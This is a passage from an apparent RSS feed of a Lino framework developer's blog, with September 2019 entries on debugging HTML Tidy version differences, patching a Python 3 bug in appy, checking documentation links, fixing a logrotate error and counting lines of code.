&lt;span class="n"&gt;options&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="c1"&gt;# options.update(doctype=&amp;#39;omit&amp;#39;)&lt;/span&gt;
&lt;span class="c1"&gt;# options[&amp;#39;show-warnings&amp;#39;] = 0&lt;/span&gt;
&lt;span class="c1"&gt;# options[&amp;#39;show-errors&amp;#39;] = 0&lt;/span&gt;
&lt;span class="c1"&gt;# options.update(indent=0)&lt;/span&gt;
&lt;span class="c1"&gt;# options.update(errors=1)&lt;/span&gt;
&lt;span class="c1"&gt;# options.update(bare=1)&lt;/span&gt;
&lt;span class="c1"&gt;# options.update(output_xhtml=1)&lt;/span&gt;
&lt;span class="c1"&gt;# options[&amp;#39;output-xhtml&amp;#39;] = 1&lt;/span&gt;
&lt;span class="n"&gt;document&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tidy_fragment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;OK&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Output with Tidy 5.2 was:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Output with Tidy 5.6 is:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;
&lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;class&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;missing&lt;/span&gt; &lt;span class="n"&gt;quote&lt;/span&gt; &lt;span class="n"&gt;marks&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But tidy itself has always written warnings to stderr. The following command
produces the same results in both 5.2 and 5.6:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ echo &amp;#39;&amp;lt;table&amp;gt;&amp;lt;tbody&amp;gt;foo&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&amp;#39; | tidy &amp;gt; stdout 2&amp;gt; stderr
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The changed behaviour seems to be caused by &lt;a class="reference external" href="https://pythonhosted.org/pytidylib/"&gt;pytidylib&lt;/a&gt; (Jason Stitt’s Python wrapper for
tidylib).  I am using the latest version:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip freeze | grep tidylib
pytidylib==0.3.2
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;pytidylib indeed does some hacking to get the error messages from tidy.  It
creates a “sink” object, a kind of stream, which is then passed to the library
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;tidySetErrorSink()&lt;/span&gt;&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://api.html-tidy.org/tidy/tidylib_api_next/group__IO.html"&gt;http://api.html-tidy.org/tidy/tidylib_api_next/group__IO.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The Tidy team started thinking about writing their own Python binding for Tidy:
&lt;a class="reference external" href="https://github.com/htacg/tidy-html5/issues/826"&gt;https://github.com/htacg/tidy-html5/issues/826&lt;/a&gt;
But it seems that they didn’t yet produce anything.&lt;/p&gt;
&lt;p&gt;As a temporary workaround I now disabled error checking in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.html2xhtml.html#module-lino.utils.html2xhtml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.html2xhtml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and wrote a mail to Jason, asking him whether he
has ideas.&lt;/p&gt;
&lt;p&gt;Uff! &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now finally passes in a welcht site on Debian 10. This was a
difficult birth! Next steps for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3095"&gt;#3095&lt;/a&gt;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;write a migration script which will copy production data.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;configure LDAP with Nicolas&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0905.html</guid><pubDate>Thu, 05 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, September 4, 2019</title><link>https://luc.lino-framework.org/blog/2019/0904.html</link><description>&lt;section id="wednesday-september-4-2019"&gt;
&lt;h1&gt;Wednesday, September 4, 2019&lt;a class="headerlink" href="#wednesday-september-4-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="about-doctree-dependenceies"&gt;
&lt;h2&gt;About doctree dependenceies&lt;a class="headerlink" href="#about-doctree-dependenceies" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The doctree of the lino package now has an intersphinx link to the &lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;cg&lt;/span&gt;&lt;/a&gt;.
The doctree of the book now has an intersphinx link to the doctree of the lino
and xl doctrees.&lt;/p&gt;
&lt;p&gt;The API page about &lt;a class="reference external" href="https://dev.lino-framework.org/api/index.html#module-lino" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; no longer includes the &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;long_description&lt;/span&gt;&lt;/code&gt;
of the lino package because this non-technical text shouldn’t be there.&lt;/p&gt;
&lt;p&gt;continues to be part of the book doctree because
we want docstrings to be able to refer to pages of the book.&lt;/p&gt;
&lt;p&gt;So we have the following hierarchy:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;cg &amp;lt;– lino &amp;lt;– book &amp;lt;– blog&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I changed all links to the Django docs from
&lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0"&gt;https://docs.djangoproject.com/en/6.0&lt;/a&gt; to &lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0"&gt;https://docs.djangoproject.com/en/6.0&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="atom-doesn-t-find-in-all-files"&gt;
&lt;h2&gt;Atom doesn’t find in all files&lt;a class="headerlink" href="#atom-doesn-t-find-in-all-files" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I recently disabled the &lt;span class="guilabel"&gt;Ignore VCS excluded paths&lt;/span&gt; option in my Atom
preferences.  That activated a bug in Atom, as it now turns out. I can confirm
the following bug: &lt;a class="reference external" href="https://github.com/atom/find-and-replace/issues/543"&gt;https://github.com/atom/find-and-replace/issues/543&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="using-linkcheck-to-detect-broken-links-in-docs"&gt;
&lt;h2&gt;Using linkcheck to detect broken links in docs&lt;a class="headerlink" href="#using-linkcheck-to-detect-broken-links-in-docs" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;With the following command I can get a list of broken links in the book:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go book
$ sphinx-build -b linkcheck docs docs/.build
$ wc -l docs/.build/output.txt
603 docs/.build/output.txt
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;There are currently &lt;strong&gt;603&lt;/strong&gt; broken links in the book.  More precisely they are
not all broken. Some of them are just permanently redirected.&lt;/p&gt;
&lt;p&gt;I have a feeling that we should have linkcheck run automatically. But a broken
link should &lt;em&gt;not&lt;/em&gt; stop &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. And it shouldn’t be part of the test suite
because a broken link in the docs doesn’t mean that the &lt;a class="reference external" href="https://www.synodalsoft.net/free/#term-software-product" title="(in Synodalsoft)"&gt;&lt;span class="xref std std-term"&gt;software product&lt;/span&gt;&lt;/a&gt;
is broken.  Maybe have it run on RTD, and scan the
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/.build/output.txt&lt;/span&gt;&lt;/code&gt; file automatically.&lt;/p&gt;
&lt;p&gt;This is related to another issue: All Lino doctrees are currently published on
&lt;a class="reference external" href="https://www.lino-framework.org/index.html#lf" title="(in Lino framework)"&gt;&lt;span&gt;The Lino framework&lt;/span&gt;&lt;/a&gt;. But I need to build them manually on my machine. Documentation should
be generated automatically after each change. Theoretically this is already
being done (&lt;a class="reference external" href="https://readthedocs.org/projects/lino/"&gt;RTD&lt;/a&gt;), but the
documentation there is four months old. This is yet another difference between
theory and reality. After verifying, I realized that the RTF project was still
using Python 2. I changed it to Python 3.&lt;/p&gt;
&lt;p&gt;TODO: We should start using RTD more systematically for all doctrees and check
whether it is up to date.  If possible we should also create a user account
lino-framework on RTD and move projects from lsaffre to this account.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="logrotate-error-apache2-save-1-duplicate-log-entry-for-var-log-apache2-access-log"&gt;
&lt;h2&gt;logrotate error: apache2.save:1 duplicate log entry for /var/log/apache2/access.log&lt;a class="headerlink" href="#logrotate-error-apache2-save-1-duplicate-log-entry-for-var-log-apache2-access-log" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This was caused by multiple logrotate configuration files for apache in
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/logrotate.d&lt;/span&gt;&lt;/code&gt;: &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;apache2&lt;/span&gt;&lt;/code&gt;, &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;apache2.save&lt;/span&gt;&lt;/code&gt; and
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;apache2.dpkg-dist&lt;/span&gt;&lt;/code&gt;. The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;apache2.save&lt;/span&gt;&lt;/code&gt; was a copy of
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;apache2&lt;/span&gt;&lt;/code&gt; I obviously created accidentally on 20190721.&lt;/p&gt;
&lt;p&gt;The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;apache2.dpkg-dist&lt;/span&gt;&lt;/code&gt; has been created as a backup copy by some Debian
upgrade. Theoretically it should be ignored by logrotate, as seen &lt;a class="reference external" href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=206529"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Our version of the apache logrotate config differs slightly from what the Debian
package maintainers would suggest.  We can ignore this since we are migrating
from apache to nginx on our production servers.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="tidy-5-2-cleaned-up-curly-quotes-but-5-6-doesn-t"&gt;
&lt;h2&gt;Tidy 5.2 cleaned up curly quotes but 5.6 doesn’t&lt;a class="headerlink" href="#tidy-5-2-cleaned-up-curly-quotes-but-5-6-doesn-t" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Continued research for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3188"&gt;#3188&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;One thing I can do now that the issue is reported to the tidy team: Make a
release of &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#xl" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Extensions Library&lt;/span&gt;&lt;/a&gt; and try whether this was the only case. (I might switch
their &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-preview-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;preview site&lt;/span&gt;&lt;/a&gt; to use a development version of XL, but doing a PyPI
release seems even easier at least if I am lucky and there is no other such
problem).  and it seems that I &lt;em&gt;am&lt;/em&gt; lucky. Though here is the next problem.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="attributesimpl-object-has-no-attribute-has-key"&gt;
&lt;h2&gt;‘AttributesImpl’ object has no attribute ‘has_key’&lt;a class="headerlink" href="#attributesimpl-object-has-no-attribute-has-key" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;There is yet another 2to3 bug in appy:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Problem&lt;/span&gt; &lt;span class="n"&gt;installing&lt;/span&gt; &lt;span class="n"&gt;fixture&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/local/lino/lino_local/a/env/lib/python3.7/site-packages/lino_xl/lib/excerpts/fixtures/demo2.py&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;AttributesImpl&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;has_key&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I manually patched line 155 of file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;site-packages/appy/pod/buffers.py&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;#elif (elem == &amp;#39;text:list-item&amp;#39;) and attrs.has_key(&amp;#39;text:start-value&amp;#39;):&lt;/span&gt;
&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elem&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;text:list-item&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;text:start-value&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;attrs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I notified Gaetan who quickly fixed it and checked it in to master.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="new-tidy-saying-info-tbody-previously-mentioned"&gt;
&lt;h2&gt;New Tidy saying “Info: &amp;lt;tbody&amp;gt; previously mentioned”&lt;a class="headerlink" href="#new-tidy-saying-info-tbody-previously-mentioned" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Here we go for yet another error probably caused by the new tidy version: “Error
while evaluating the expression “html(body)” defined in the “from” part of a
statement.”&lt;/p&gt;
&lt;p&gt;I tried to reproduce the error from the command line:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ echo &amp;quot;&amp;lt;table&amp;gt;&amp;lt;tbody&amp;gt;foo&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&amp;quot; | tidy
line 1 column 1 - Warning: missing &amp;lt;!DOCTYPE&amp;gt; declaration
line 1 column 1 - Warning: inserting implicit &amp;lt;body&amp;gt;
line 1 column 15 - Warning: plain text isn&amp;#39;t allowed in &amp;lt;tbody&amp;gt; elements
line 1 column 8 - Info: &amp;lt;tbody&amp;gt; previously mentioned
line 1 column 1 - Warning: inserting missing &amp;#39;title&amp;#39; element
line 1 column 8 - Warning: trimming empty &amp;lt;tbody&amp;gt;
line 1 column 1 - Warning: trimming empty &amp;lt;table&amp;gt;
Info: Document content looks like HTML5
Tidy found 6 warnings and 0 errors!
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;No difference between the old and the new tidy. So why then does appy believe
now that there is an error? To be sure, I tried it with the full HTML fragment
and the options used by Lino:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ echo &amp;#39;\n&amp;lt;p class=&amp;quot;OurRef&amp;quot;&amp;gt;\n\nU. Zeichen: /213/68\n\n&amp;lt;/p&amp;gt;\n\n\n&amp;lt;h1&amp;gt;Aktionsplan&amp;lt;/h1&amp;gt;\n\n\n\n\n\n\n\n&amp;lt;p&amp;gt;\n\n&amp;lt;table&amp;gt;&amp;lt;tbody&amp;gt;Keine Daten anzuzeigen&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;\n\n\n\n\n\n\nIhr Ansprechpartner:: \n&amp;lt;p&amp;gt;Mélanie Mélard&amp;lt;/p&amp;gt;\n\n\n\n&amp;#39; | tidy --doctype omit --show-warnings 0 --indent 0 --output-xhtml 1
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Nope. Stopping here for this time…&lt;/p&gt;
&lt;p&gt;EDIT: Actually this was another facet of &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3188"&gt;#3188&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="how-big-is-lino"&gt;
&lt;h2&gt;How big is Lino?&lt;a class="headerlink" href="#how-big-is-lino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Gaetan asked how many code lines Lino has… The &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.code.html#module-lino.utils.code" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.code&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; doesn’t
really help since it looks only at imported modules.  But I used &lt;a class="reference external" href="https://pypi.org/project/pygount/"&gt;pygount&lt;/a&gt; to find the answer:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install pygount
$ cd ~/work
$ pygount lino xl book --suffix=py --format=cloc-xml &amp;gt; pygount-cloc.xml
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The resulting xml file says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="n"&gt;blank&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;25907&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;116647&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;comment&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;36299&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Or when I add some of the more important Lino applications:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pygount lino xl book noi welfare avanti tera voga --suffix=py --format=cloc-xml &amp;gt; pygount-cloc.xml

&amp;lt;total blank=&amp;quot;34754&amp;quot; code=&amp;quot;152450&amp;quot; comment=&amp;quot;47894&amp;quot;/&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;152K lines of code, is this big? For Django pygount says 76498 lines of code, so
Lino is about twice as big as Django…&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0904.html</guid><pubDate>Wed, 04 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, September 3, 2019</title><link>https://luc.lino-framework.org/blog/2019/0903.html</link><description>&lt;section id="tuesday-september-3-2019"&gt;
&lt;h1&gt;Tuesday, September 3, 2019&lt;a class="headerlink" href="#tuesday-september-3-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="miscellaneous"&gt;
&lt;h2&gt;Miscellaneous&lt;a class="headerlink" href="#miscellaneous" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I continued to work in the &lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;cg&lt;/span&gt;&lt;/a&gt; and in the &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#book" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Developer Guide&lt;/span&gt;&lt;/a&gt; as a preparation for
the year 2020.&lt;/p&gt;
&lt;p&gt;I  &lt;a class="reference external" href="https://sonetel.com/en/how-to-get-a-free-phone-number/"&gt;read this&lt;/a&gt; started
to try to use a Belgian phone number. Our new number in Belgium will be +32
43460150 (but it is still experimental and might change). The biggest problem
will be to find a legal person in Belgium who is willing to act as
representative.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="running-lino-on-debian-10-buster"&gt;
&lt;h2&gt;Running Lino on Debian 10 (buster)&lt;a class="headerlink" href="#running-lino-on-debian-10-buster" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I continued with Hamza on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3095"&gt;#3095&lt;/a&gt;. We can already conclude that
&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; has finished its work and has done a good job.  Okay it doesn’t
yet create a bash_aliases file.  But anyway that’s maybe just a personal
preference for me.&lt;/p&gt;
&lt;p&gt;It took us some time to get my browser to open the new website through the SSH
tunnel. TIL : When I changed something in the &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file, I must
now restart supervisor instead of restarting the web browser.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="tidy-5-2-cleaned-up-curly-quotes-but-5-6-doesn-t"&gt;
&lt;h2&gt;Tidy 5.2 cleaned up curly quotes but 5.6 doesn’t&lt;a class="headerlink" href="#tidy-5-2-cleaned-up-curly-quotes-but-5-6-doesn-t" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We still have the following error message during &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Exception: Errors while processing &amp;lt;p class=“Default“&amp;gt;Herrn Albert ADAM&amp;lt;/p&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3188"&gt;#3188&lt;/a&gt; for this.&lt;/p&gt;
&lt;p&gt;This is obviously a bug in the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#xfile-contacts-Person-TermsConditions.odt" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;contacts/Person/TermsConditions.odt&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
template (in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.contacts.html#module-lino_xl.lib.contacts" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;).  That file contains the following
appy statement:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;html&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;p class=“Default“&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;br&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;/p&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The string passed to
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.appy.AppyRenderer.insert_html()&lt;/span&gt;&lt;/code&gt;
accidentally contains curly
quotes instead of straight quotes.&lt;/p&gt;
&lt;p&gt;The actual work happens in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.html2xtml&lt;/span&gt;&lt;/code&gt; which says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;tidylib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tidy_fragment&lt;/span&gt;

